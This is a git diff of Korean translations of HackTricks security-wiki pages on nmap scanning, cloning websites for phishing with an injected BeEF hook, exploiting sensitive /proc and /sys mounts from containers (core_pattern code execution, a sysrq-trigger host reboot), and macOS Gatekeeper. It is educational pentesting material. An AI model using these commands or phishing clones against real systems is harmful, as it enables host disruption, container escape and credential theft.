모두 사용하려면: sudo nmap -sV --script=vulscan HOST\_TO\_SCAN
|
||||
모두 사용: sudo nmap -sV --script=vulscan HOST\_A\_ESCANEAR
|
||||
|
||||
특정 데이터베이스를 사용하려면: sudo nmap -sV --script=vulscan --script-args vulscandb=cve.csv HOST\_TO\_SCAN
|
||||
특정 데이터베이스 사용: sudo nmap -sV --script=vulscan --script-args vulscandb=cve.csv HOST\_A\_ESCANEAR
|
||||
|
||||
## Nmap 서비스 스캔 속도 향상 x16
|
||||
|
||||
[**이 게시물**](https://joshua.hu/nmap-speedup-service-scanning-16x)에 따르면, **`/usr/share/nmap/nmap-service-probes`**의 모든 **`totalwaitms`** 값을 **300**으로 수정하고 **`tcpwrappedms`** 값을 **200**으로 수정하여 nmap 서비스 분석 속도를 향상시킬 수 있습니다.
|
||||
[**이 게시물에 따르면**](https://joshua.hu/nmap-speedup-service-scanning-16x) **`/usr/share/nmap/nmap-service-probes`**의 모든 **`totalwaitms`** 값을 **300**으로 수정하여 nmap 서비스 분석 속도를 높일 수 있습니다. 또한, 특별히 정의되지 않은 **`servicewaitms`**를 사용하는 프로브는 기본값인 **`5000`**을 사용합니다. 따라서 각 프로브에 값을 추가하거나 **`service_scan.h`**에서 기본값을 변경하여 **nmap을 컴파일**할 수 있습니다.
|
||||
|
||||
또한, **`servicewaitms`**가 명시적으로 정의되지 않은 프로브는 기본값인 **`5000`**을 사용합니다. 따라서 각 프로브에 값을 추가하거나 [**service\_scan.h**](https://github.com/nmap/nmap/blob/master/service\_scan.h#L79)에서 기본값을 변경하여 nmap을 **컴파일** 할 수 있습니다.
|
||||
**`/usr/share/nmap/nmap-service-probes`** 파일에서 **`totalwaitms`** 및 **`tcpwrappedms`** 값을 전혀 변경하고 싶지 않다면, **`nmap-service-probes`** 파일의 이러한 값들이 완전히 무시되도록 파싱 코드를 편집할 수 있습니다.
|
||||
|
||||
`/usr/share/nmap/nmap-service-probes` 파일에서 **`totalwaitms`**와 **`tcpwrappedms`**의 값을 전혀 변경하고 싶지 않은 경우, [파싱 코드](https://github.com/nmap/nmap/blob/master/service\_scan.cc#L1358)를 편집하여 `nmap-service-probes` 파일의 이러한 값들이 완전히 무시되도록 할 수 있습니다.
|
||||
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 제로에서 영웅까지 AWS 해킹을 배워보세요!</summary>
|
||||
<summary><strong>제로부터 AWS 해킹을 전문가로 배우세요</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>와 함께!</strong></summary>
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* HackTricks에서 **회사 광고를 보거나 PDF로 HackTricks를 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 상품**](https://peass.creator-spring.com)을 구매하세요.
|
||||
* 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family)인 [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요.
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)를 **팔로우**하세요.
|
||||
* **HackTricks**와 **HackTricks Cloud** github 저장소에 PR을 제출하여 **자신의 해킹 기법을 공유**하세요.
|
||||
* **회사를 HackTricks에서 광고하거나 PDF로 다운로드하려면** [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구입하세요
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
||||
* **💬 [디스코드 그룹](https://discord.gg/hRep4RUj7f)에 가입하거나 [텔레그램 그룹](https://t.me/peass)에 가입하거나** **트위터** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**를 팔로우하세요.**
|
||||
* **HackTricks 및 HackTricks Cloud** 깃허브 저장소에 PR을 제출하여 해킹 트릭을 공유하세요.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,79 +1,57 @@
|
|||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요<strong>!</strong></summary>
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team 전문가)로부터 AWS 해킹을 제로부터 전문가까지 배우세요</strong></summary>
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요.
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요. 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션입니다.
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)를 **팔로우**하세요.
|
||||
* **Hacking 트릭을 공유하려면** [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소에 PR을 제출하세요.
|
||||
* **회사가 HackTricks에 광고되길 원하거나 PDF로 HackTricks를 다운로드하고 싶다면** [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
||||
* **💬 [Discord 그룹](https://discord.gg/hRep4RUj7f)** 또는 [텔레그램 그룹](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)를 **팔로우**하세요.
|
||||
* **해킹 트릭을 공유하려면** [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소에 PR을 제출하세요.
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
|
||||
|
||||
피싱 평가를 위해 때로는 웹사이트를 완전히 **복제하는 것**이 유용할 수 있습니다.
|
||||
|
||||
복제된 웹사이트에는 사용자의 탭을 "제어"하기 위한 BeEF 후크와 같은 페이로드를 추가할 수도 있습니다.
|
||||
클론된 웹사이트에 BeEF 후크와 같은 페이로드를 추가하여 사용자의 탭을 "제어"할 수도 있습니다.
|
||||
|
||||
이를 위해 사용할 수 있는 다양한 도구가 있습니다:
|
||||
이를 위해 다양한 도구를 사용할 수 있습니다:
|
||||
|
||||
## wget
|
||||
```text
|
||||
wget -mk -nH
|
||||
```
|
||||
## goclone
|
||||
|
||||
goclone은 웹 사이트를 복제하는 데 사용되는 도구입니다. 이 도구를 사용하면 원본 웹 사이트의 외관과 동작을 완벽하게 복제할 수 있습니다. 이를 통해 공격자는 피싱 공격을 수행하여 사용자의 개인 정보를 탈취하거나 악성 코드를 배포할 수 있습니다.
|
||||
|
||||
goclone을 사용하여 웹 사이트를 복제하는 방법은 다음과 같습니다.
|
||||
|
||||
1. goclone을 설치하고 실행합니다.
|
||||
2. 복제하려는 웹 사이트의 URL을 지정합니다.
|
||||
3. goclone은 웹 사이트의 모든 파일과 폴더를 다운로드합니다.
|
||||
4. 원본 웹 사이트의 HTML, CSS, JavaScript 등의 파일을 수정하여 피싱 공격에 적합하게 조작합니다.
|
||||
5. 수정된 파일을 호스팅하고 공격자는 피싱 링크를 통해 사용자를 유인합니다.
|
||||
|
||||
goclone은 피싱 공격에 사용되는 강력한 도구이므로 합법적인 목적으로만 사용해야 합니다. 이 도구를 사용하여 개인 정보를 탈취하거나 악의적인 목적을 가진 행위는 불법입니다.
|
||||
```bash
|
||||
#https://github.com/imthaghost/goclone
|
||||
goclone <url>
|
||||
```
|
||||
## 사회 공학 도구킷
|
||||
|
||||
### Clone a Website
|
||||
|
||||
### 웹사이트 복제하기
|
||||
|
||||
One of the most effective ways to perform phishing attacks is by cloning a legitimate website. This technique involves creating an identical copy of a target website, including its design, layout, and functionality. By doing so, attackers can trick users into entering their sensitive information, such as login credentials or credit card details, on the cloned website.
|
||||
|
||||
피싱 공격을 수행하는 가장 효과적인 방법 중 하나는 합법적인 웹사이트를 복제하는 것입니다. 이 기술은 대상 웹사이트의 디자인, 레이아웃 및 기능을 포함한 동일한 사본을 생성하는 것을 포함합니다. 이렇게 함으로써 공격자는 사용자들을 속여 로그인 자격 증명이나 신용카드 정보와 같은 민감한 정보를 복제된 웹사이트에 입력하도록 유도할 수 있습니다.
|
||||
|
||||
To clone a website, you can use tools like HTTrack or Wget to download the entire website's content, including HTML, CSS, JavaScript, and images. Once you have the website's files, you can host them on a web server or a cloud storage service.
|
||||
|
||||
웹사이트를 복제하기 위해서는 HTTrack 또는 Wget과 같은 도구를 사용하여 HTML, CSS, JavaScript 및 이미지를 포함한 전체 웹사이트 콘텐츠를 다운로드할 수 있습니다. 웹사이트 파일을 얻은 후에는 웹 서버나 클라우드 스토리지 서비스에 호스팅할 수 있습니다.
|
||||
|
||||
To make the cloned website appear legitimate, you will need to modify the HTML and CSS files to match the original website's design. This includes copying the original website's logo, colors, fonts, and layout. Additionally, you may need to modify the website's functionality to capture user input and send it to a remote server.
|
||||
|
||||
복제된 웹사이트가 합법적으로 보이도록 하기 위해서는 HTML 및 CSS 파일을 수정하여 원래 웹사이트의 디자인과 일치하도록 해야 합니다. 이는 원래 웹사이트의 로고, 색상, 글꼴 및 레이아웃을 복사하는 것을 포함합니다. 또한 사용자 입력을 캡처하고 원격 서버로 전송하기 위해 웹사이트의 기능을 수정해야 할 수도 있습니다.
|
||||
|
||||
It is important to note that cloning a website for malicious purposes is illegal and unethical. This technique should only be used for educational or authorized testing purposes, such as penetration testing or security awareness training.
|
||||
|
||||
악의적인 목적으로 웹사이트를 복제하는 것은 불법이며 윤리적으로 문제가 됩니다. 이 기술은 펜테스팅이나 보안 인식 훈련과 같은 교육적이거나 승인된 테스트 목적으로만 사용되어야 합니다.
|
||||
```bash
|
||||
#https://github.com/trustedsec/social-engineer-toolkit
|
||||
```
|
||||
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요<strong>!</strong></summary>
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)를 통해 제로부터 영웅이 되는 AWS 해킹을 배우세요!</strong></summary>
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요.
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요. 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션입니다.
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)를 **팔로우**하세요.
|
||||
* **Hacking 트릭을 공유하려면** [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소에 PR을 제출하세요.
|
||||
* **회사가 HackTricks에 광고되길 원하거나 HackTricks를 PDF로 다운로드하길 원한다면** [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 저희의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f)이나 [**텔레그램 그룹**](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)를 **팔로우**하세요.
|
||||
* **HackTricks** 및 **HackTricks Cloud** github 저장소에 PR을 제출하여 **해킹 트릭을 공유**하세요.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -7,14 +7,18 @@
|
|||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* **회사가 HackTricks에 광고되길 원하거나 PDF로 HackTricks 다운로드**하려면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
||||
* **💬 [Discord 그룹](https://discord.gg/hRep4RUj7f)** 또는 [텔레그램 그룹](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**를 팔로우**하세요.
|
||||
* **해킹 트릭을 공유하려면 PR을** [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소에 제출하세요.
|
||||
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구입하세요
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 우리의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
||||
* **💬 [디스코드 그룹](https://discord.gg/hRep4RUj7f)** 또는 [텔레그램 그룹](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**를 팔로우**하세요.
|
||||
* **HackTricks** 및 **HackTricks Cloud** 깃허브 저장소에 PR을 제출하여 **해킹 트릭을 공유**하세요.
|
||||
|
||||
</details>
|
||||
|
||||
적절한 네임스페이스 격리 없이 `/proc` 및 `/sys`가 노출되면 공격 표면이 확대되고 정보 노출과 같은 중요한 보안 위험이 발생할 수 있습니다. 이러한 디렉토리에는 민감한 파일이 포함되어 있으며, 잘못 구성되거나 무단으로 액세스되면 컨테이너 탈출, 호스트 수정 또는 추가 공격을 돕는 정보 제공이 가능합니다. 예를 들어, `-v /proc:/host/proc`를 잘못 마운트하면 경로 기반의 특성으로 인해 AppArmor 보호를 우회할 수 있어 `/host/proc`가 보호되지 않게 됩니다.
|
||||
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
적절한 네임스페이스 격리 없이 `/proc` 및 `/sys`가 노출되면 공격 표면 확대 및 정보 노출을 포함한 중요한 보안 위험이 발생합니다. 이러한 디렉토리에는 민감한 파일이 포함되어 있으며, 잘못 구성되거나 무단으로 액세스되면 컨테이너 탈출, 호스트 수정 또는 추가 공격을 돕는 정보 제공이 가능합니다. 예를 들어, `-v /proc:/host/proc`를 잘못 마운트하면 경로 기반의 특성으로 인해 AppArmor 보호를 우회할 수 있어 `/host/proc`가 보호되지 않게 됩니다.
|
||||
|
||||
**각 잠재적인 취약점에 대한 자세한 내용은** [**https://0xn3va.gitbook.io/cheat-sheets/container/escaping/sensitive-mounts**](https://0xn3va.gitbook.io/cheat-sheets/container/escaping/sensitive-mounts)**에서 찾을 수 있습니다.**
|
||||
|
||||
|
@ -27,7 +31,7 @@ HackTricks를 지원하는 다른 방법:
|
|||
#### **`/proc/sys/kernel/core_pattern`**
|
||||
|
||||
* [core(5)](https://man7.org/linux/man-pages/man5/core.5.html)에 설명되어 있음.
|
||||
* 첫 128바이트를 인수로 사용하여 코어 파일 생성 시 실행할 프로그램을 정의할 수 있습니다. 파일이 `|`로 시작하면 코드 실행이 가능합니다.
|
||||
* 첫 128바이트가 인수로 사용되는 코어 파일 생성 시 실행할 프로그램을 정의할 수 있습니다. 파일이 파이프 `|`로 시작하면 코드 실행으로 이어질 수 있습니다.
|
||||
* **테스트 및 악용 예시**:
|
||||
|
||||
```bash
|
||||
|
@ -39,7 +43,7 @@ sleep 5 && ./crash & # 핸들러 트리거
|
|||
|
||||
#### **`/proc/sys/kernel/modprobe`**
|
||||
|
||||
* [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html)에 자세히 기술되어 있음.
|
||||
* [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html)에 자세히 설명되어 있음.
|
||||
* 커널 모듈 로더의 경로를 포함하며, 커널 모듈을 로드할 때 호출됩니다.
|
||||
* **액세스 확인 예시**:
|
||||
|
||||
|
@ -60,7 +64,7 @@ ls -l $(cat /proc/sys/kernel/modprobe) # modprobe 액세스 확인
|
|||
#### **`/proc/sys/fs/binfmt_misc`**
|
||||
|
||||
* 매직 넘버에 따라 비네이티브 바이너리 형식의 해석기를 등록할 수 있습니다.
|
||||
* `/proc/sys/fs/binfmt_misc/register`가 쓰기 가능하면 권한 상승 또는 루트 쉘 액세스가 가능합니다.
|
||||
* `/proc/sys/fs/binfmt_misc/register`가 쓰기 가능하면 권한 상승 또는 루트 쉘 액세스로 이어질 수 있습니다.
|
||||
* 관련 악용 및 설명:
|
||||
* [binfmt\_misc를 통한 Poor man's rootkit](https://github.com/toffan/binfmt\_misc)
|
||||
* 깊이 있는 자습서: [비디오 링크](https://www.youtube.com/watch?v=WBC7hhgMvQQ)
|
||||
|
@ -88,9 +92,9 @@ echo b > /proc/sysrq-trigger # 호스트 재부팅
|
|||
|
||||
#### **`/proc/kallsyms`**
|
||||
|
||||
* 커널 내보낸 심볼과 그들의 주소를 나열합니다.
|
||||
* 커널 내보낸 심볼과 그 주소를 나열합니다.
|
||||
* 특히 KASLR을 극복하기 위해 커널 악용 개발에 필수적입니다.
|
||||
* `kptr_restrict`가 `1` 또는 `2`로 설정된 경우 주소 정보가 제한됩니다.
|
||||
* 주소 정보는 `kptr_restrict`가 `1` 또는 `2`로 설정되어 제한됩니다.
|
||||
* [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html)에 자세한 내용이 있습니다.
|
||||
|
||||
#### **`/proc/[pid]/mem`**
|
||||
|
@ -104,7 +108,7 @@ echo b > /proc/sysrq-trigger # 호스트 재부팅
|
|||
* ELF 코어 형식으로 시스템의 물리적 메모리를 나타냅니다.
|
||||
* 읽기는 호스트 시스템 및 다른 컨테이너의 메모리 내용을 누출할 수 있습니다.
|
||||
* 큰 파일 크기는 읽기 문제나 소프트웨어 충돌로 이어질 수 있습니다.
|
||||
* 2019년 [Dumping /proc/kcore](https://schlafwandler.github.io/posts/dumping-/proc/kcore/)에서 자세한 사용법을 확인할 수 있습니다.
|
||||
* 2019년에 `/proc/kcore` 덤프에 대한 자세한 사용법은 [Dumping /proc/kcore in 2019](https://schlafwandler.github.io/posts/dumping-/proc/kcore/)에서 확인할 수 있습니다.
|
||||
|
||||
#### **`/proc/kmem`**
|
||||
|
||||
|
@ -114,7 +118,7 @@ echo b > /proc/sysrq-trigger # 호스트 재부팅
|
|||
#### **`/proc/mem`**
|
||||
|
||||
* 물리적 메모리를 나타내는 `/dev/mem`의 대체 인터페이스입니다.
|
||||
* 모든 메모리의 읽기 및 쓰기를 허용하며, 모든 메모리 수정에는 가상 주소를 물리 주소로 변환해야 합니다.
|
||||
* 읽기 및 쓰기를 허용하며, 모든 메모리의 수정에는 가상 주소를 물리 주소로 변환해야 합니다.
|
||||
|
||||
#### **`/proc/sched_debug`**
|
||||
|
||||
|
@ -164,16 +168,16 @@ cat /output %%%
|
|||
#### **`/sys/kernel/security`**
|
||||
|
||||
* `securityfs` 인터페이스를 포함하며, AppArmor와 같은 Linux Security Modules의 구성을 허용합니다.
|
||||
* 액세스 권한을 통해 컨테이너가 MAC 시스템을 비활성화할 수 있습니다.
|
||||
* 액세스는 컨테이너가 MAC 시스템을 비활성화할 수 있게 할 수 있습니다.
|
||||
|
||||
#### **`/sys/firmware/efi/vars` and `/sys/firmware/efi/efivars`**
|
||||
|
||||
* NVRAM의 EFI 변수와 상호 작용하기 위한 인터페이스를 노출합니다.
|
||||
* 잘못된 구성 또는 악용으로 인해 브릭된 노트북이나 부팅할 수 없는 호스트 머신으로 이어질 수 있습니다.
|
||||
* 잘못된 구성 또는 악용은 브릭된 노트북이나 부팅할 수 없는 호스트 머신으로 이어질 수 있습니다.
|
||||
|
||||
#### **`/sys/kernel/debug`**
|
||||
|
||||
* `debugfs`는 커널에 대한 "규칙 없는" 디버깅 인터페이스를 제공합니다.
|
||||
* `debugfs`는 커널에 대한 "규칙 없음" 디버깅 인터페이스를 제공합니다.
|
||||
* 제한이 없는 성격으로 인한 보안 문제의 역사가 있습니다.
|
||||
|
||||
### References
|
||||
|
@ -182,6 +186,10 @@ cat /output %%%
|
|||
* [Understanding and Hardening Linux Containers](https://research.nccgroup.com/wp-content/uploads/2020/07/ncc\_group\_understanding\_hardening\_linux\_containers-1-1.pdf)
|
||||
* [Abusing Privileged and Unprivileged Linux Containers](https://www.nccgroup.com/globalassets/our-research/us/whitepapers/2016/june/container\_whitepaper.pdf)
|
||||
|
||||
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
|
|
@ -2,44 +2,46 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>에서 <strong>제로에서 영웅까지 AWS 해킹 배우기</strong>를 배워보세요<strong>!</strong></summary>
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)를 통해 제로부터 영웅이 될 때까지 AWS 해킹을 배우세요</strong></summary>
|
||||
|
||||
* **사이버 보안 회사**에서 일하시나요? **회사를 HackTricks에서 광고**하거나 **PEASS의 최신 버전에 액세스**하거나 **HackTricks를 PDF로 다운로드**하고 싶으신가요? [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인해보세요!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견해보세요. 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션입니다.
|
||||
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요.
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter**에서 저를 **팔로우**하세요 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **해킹 트릭을 공유하려면 PR을** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **및** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **에 제출**하세요.
|
||||
*
|
||||
* .
|
||||
* **사이버 보안 회사**에서 일하시나요? **HackTricks에 귀사를 광고**하고 싶으신가요? 아니면 **PEASS의 최신 버전에 액세스**하거나 HackTricks를 **PDF로 다운로드**하고 싶으신가요? [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 저희의 독점적인 [**NFT 컬렉션**](https://opensea.io/collection/the-peass-family)
|
||||
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **가입**하거나 **트위터** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**를 팔로우**하세요.
|
||||
* **해킹 트릭을 공유하고 싶으시다면** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **및** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **로 PR을 제출**하세요
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
|
||||
## Gatekeeper
|
||||
|
||||
**Gatekeeper**는 Mac 운영 체제를 위해 개발된 보안 기능으로, 사용자가 시스템에서 **신뢰할 수 있는 소프트웨어만 실행**하도록 보장합니다. 이 기능은 사용자가 앱 스토어 외부의 소스에서 다운로드하고 열려고 하는 소프트웨어(앱, 플러그인, 설치 프로그램 등)를 **검증**함으로써 작동합니다.
|
||||
**Gatekeeper**는 Mac 운영 체제용으로 개발된 보안 기능으로, 사용자가 시스템에서 **신뢰할 수 있는 소프트웨어만 실행**하도록 보장하도록 설계되었습니다. 사용자가 다운로드하고 **앱 스토어 외부 소스**에서 열려고 하는 소프트웨어(앱, 플러그인 또는 설치 프로그램)를 **검증**함으로써 작동합니다.
|
||||
|
||||
Gatekeeper의 핵심 메커니즘은 **검증** 과정에 있습니다. 다운로드한 소프트웨어가 **인증된 개발자에 의해 서명**되었는지 확인하여 소프트웨어의 신뢰성을 보장합니다. 또한, 소프트웨어가 **Apple에 의해 인증**되었는지 확인하여 알려진 악성 콘텐츠가 없으며 인증 이후에 변경되지 않았음을 확인합니다.
|
||||
Gatekeeper의 주요 메커니즘은 **검증** 프로세스에 있습니다. 다운로드한 소프트웨어가 **인증된 개발자에 의해 서명**되었는지 확인하여 소프트웨어의 신뢰성을 보장합니다. 더 나아가, 소프트웨어가 **Apple에 의해 노타라이즈**되었는지 확인하여 알려진 악성 콘텐츠가 없으며 노타라이즈 이후에 변경되지 않았음을 확인합니다.
|
||||
|
||||
게다가, Gatekeeper는 사용자의 제어와 보안을 강화하기 위해 다운로드한 소프트웨어의 처음 실행을 **사용자에게 승인 요청**하는 방식으로 작동합니다. 이 보호 기능은 사용자가 해로운 실행 가능한 코드를 무심코 해방 파일로 오인할 수 있는 상황을 방지하는 데 도움을 줍니다.
|
||||
게다가, Gatekeeper는 사용자가 다운로드한 소프트웨어의 처음 실행을 승인하도록 사용자에게 **알림**을 강화하여 사용자가 해로운 실행 가능한 코드를 실수로 실행하지 않도록 돕습니다.
|
||||
|
||||
### 애플리케이션 서명
|
||||
|
||||
애플리케이션 서명 또는 코드 서명은 Apple의 보안 인프라의 중요한 구성 요소입니다. 이를 통해 소프트웨어 작성자(개발자)의 **신원을 확인**하고 마지막으로 서명된 이후에 코드가 변경되지 않았는지 확인합니다.
|
||||
애플리케이션 서명 또는 코드 서명은 Apple의 보안 인프라의 중요한 구성 요소입니다. 이를 사용하여 소프트웨어 작성자(개발자)의 **신원을 확인**하고 코드가 마지막으로 서명된 이후로 변경되지 않았음을 보장합니다.
|
||||
|
||||
작동 방식은 다음과 같습니다:
|
||||
|
||||
1. **애플리케이션 서명:** 개발자가 애플리케이션을 배포할 준비가 되면, **개인 키를 사용하여 애플리케이션에 서명**합니다. 이 개인 키는 개발자가 Apple 개발자 프로그램에 등록할 때 Apple이 개발자에게 발급하는 **인증서와 관련**되어 있습니다. 서명 프로세스는 앱의 모든 부분에 대한 암호화 해시를 생성하고 이 해시를 개발자의 개인 키로 암호화하는 것을 포함합니다.
|
||||
2. **애플리케이션 배포:** 서명된 애플리케이션은 사용자에게 개발자의 인증서와 함께 배포됩니다. 이 인증서에는 해당하는 공개 키가 포함되어 있습니다.
|
||||
3. **애플리케이션 확인:** 사용자가 애플리케이션을 다운로드하고 실행하려고 할 때, Mac 운영 체제는 개발자의 인증서에서 공개 키를 사용하여 해시를 복호화합니다. 그런 다음 애플리케이션의 현재 상태를 기반으로 해시를 다시 계산하고 이를 복호화된 해시와 비교합니다. 일치하는 경우, 개발자가 서명한 이후로 **애플리케이션이 변경되지 않았음**을 의미하며 시스템은 애플리케이션을 실행할 수 있도록 허용합니다.
|
||||
1. **애플리케이션 서명:** 개발자가 애플리케이션을 배포할 준비가 되면 **개인 키를 사용하여 애플리케이션에 서명**합니다. 이 개인 키는 개발자가 Apple 개발자 프로그램에 등록할 때 Apple이 발급하는 **인증서와 관련**되어 있습니다. 서명 프로세스는 앱의 모든 부분에 대한 암호화 해시를 생성하고 이 해시를 개발자의 개인 키로 암호화하는 것을 포함합니다.
|
||||
